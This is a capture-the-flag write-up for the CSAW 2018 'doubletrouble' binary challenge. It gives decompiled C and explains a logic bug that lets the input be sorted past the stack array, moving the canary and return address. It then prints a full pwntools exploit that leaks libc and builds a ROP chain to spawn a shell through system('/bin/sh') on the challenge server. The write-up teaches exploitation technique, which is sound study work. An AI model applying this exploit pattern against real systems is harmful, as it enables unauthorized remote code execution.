CSAW Quals 18 - doubletrouble

by andreafioraldi
September 17, 2018

The core function is the following:

int game()
{
  int v0;
  long double sum;
  long double max;
  long double min;
  int v4;
  int how_long;
  int idx;
  char *s;
  double array[64];
  unsigned int v10;

  canary = __readgsdword(0x14u);
  printf("%p\n", array);  // Stack address leak
  printf("How long: ");
  __isoc99_scanf("%d", &how_long);
  getchar();
  if ( how_long > 64 )
  {
    printf("Flag: hahahano. But system is at %d", &system);
    exit(1);
  }
  idx = 0;
  while ( idx < how_long )
  {
    s = malloc(100u);
    printf("Give me: ");
    fgets(s, 100, stdin);
    v0 = idx++;
    array[v0] = atof(s);
  }
  printArray(&how_long, array);
  sum = sumArray(&how_long, array);
  printf("Sum: %f\n", sum);
  max = maxArray(&how_long, array);
  printf("Max: %f\n", max);
  min = minArray(&how_long, array);
  printf("Min: %f\n", min);
  v4 = findArray(&how_long, array, -100.0, -10.0);
  printf("My favorite number you entered is: %f\n", array[v4]);
  sortArray(&how_long, array);
  puts("Sorted Array:");
  return printArray(&how_long, array);
}

The programs store the readed doubles in an array on the stack. The array is 532 bytes from the return address, so 64 entries are not enough for a buffer overflow.

The findArray function is interesting, a correct manipulation of the input can change the how_long variable.

int findArray(int *len, double *arr, double a, double b)
{
  int saved_len;

  saved_len = *len;
  while ( *len < 2 * saved_len )
  {
    if ( arr[*len - saved_len] > a && b > arr[*len - saved_len] )
      return *len - saved_len; // Here *len is not restored to saved_len
    *len += &GLOBAL_OFFSET_TABLE_ - 134529023; //*len += 1
  }
  *len = saved_len; // We want to avoid this piece of code
  return 0;
}

Giving a number greater than -10 *len is increased and with a number greater than -100 and lower than -10 we can avoid the restring of *len with saved_len.

We choose -1.1 and -20.1.

With how_long greater than 64 the sortArray procedure will sort our input and the values that are on the stack after the array, like the canary and the return address.

The binary addresses casted to double are sorted after -1.1.

To exploit the vulnerability we need to place the canary in the same position before and after the sorting so it must start with 0x00b. Due to this requirement the exploit must be runned many times to work.

Here the exploit:

#!/usr/bin/env python

from pwn import *

LIBC_NAME = "./libc6_2.27-3ubuntu1_i386.so" # found on libc database using system (0x200)

def pdouble(f):
    return struct.pack('<d', f)

def double_to_hex(f):
    return hex(struct.unpack('<Q', struct.pack('<d', f))[0])

def int_to_double(i):
    return struct.unpack('<d', p64(i))[0]

def hex_to_double(h):
    return struct.unpack('<d', h.decode("hex")[::-1])[0]

libc = ELF(LIBC_NAME)

while True:
    #p = process("./doubletrouble", env={"LD_PRELOAD": LIBC_NAME})
    p = remote("pwn.chal.csaw.io", 9002)

    try:
        
        ### STAGE 1 - leak libc a restart main
        
        stack = int(p.recvline(False), 16)

        l = 64
        p.sendafter("How long: ", str(l) + "\n")

        p.sendafter("Give me: ", repr(int_to_double(0x8049506FFE26D6C)) + "\n") #main = 0x8049506
        p.sendafter("Give me: ", repr(int_to_double(0x8049506FFE26D6C)) + "\n")

        for i in xrange(3):
            p.sendafter("Give me: ", "-1.1\n")

        for i in xrange(l -5):
            p.sendafter("Give me: ", "-20.1\n")

        p.recvuntil("Sorted Array:")
        p.recvuntil("0:")

        off = 0xf7f8bfff - 0xF7DB4000

        libc.address = u32(pdouble(float(p.recvline(False)))[4:]) - off
        if libc.address & 1 == 1:
            libc.address -= 1

        print "LIBC: ", hex(libc.address), hex(libc.symbols["system"])[2:]

        p.recvuntil("68:") + p.recvline(False)
        
        
        ### STAGE 2 - execute system("/bin/sh")
        
        stack = int(p.recvline(False), 16)

        l = 64
        p.sendafter("How long: ", str(l) + "\n")

        v = hex_to_double(("0804900a0804900a")) #0x0804900a : ret
        p.sendafter("Give me: ", repr(v) + "\n")
        
        v = hex_to_double("0804A0D5" + hex(libc.symbols["system"])[2:])
        p.sendafter("Give me: ", repr(v) + "\n")
        
        bin_sh = libc.address + 0x17e0cf
        v = hex_to_double(("09049786" + hex(bin_sh)[2:]))
        p.sendafter("Give me: ", repr(v) + "\n")

        for i in xrange(2):
            p.sendafter("Give me: ", "-1.1\n")

        for i in xrange(l -5):
            p.sendafter("Give me: ", "-20.1\n")

        p.recvuntil("Sorted Array:")
        p.recvuntil("0:")
        
        p.interactive()
        p.close()
    except KeyboardInterrupt:
        p.close()
        exit()
    except Exception:
        p.close()
        continue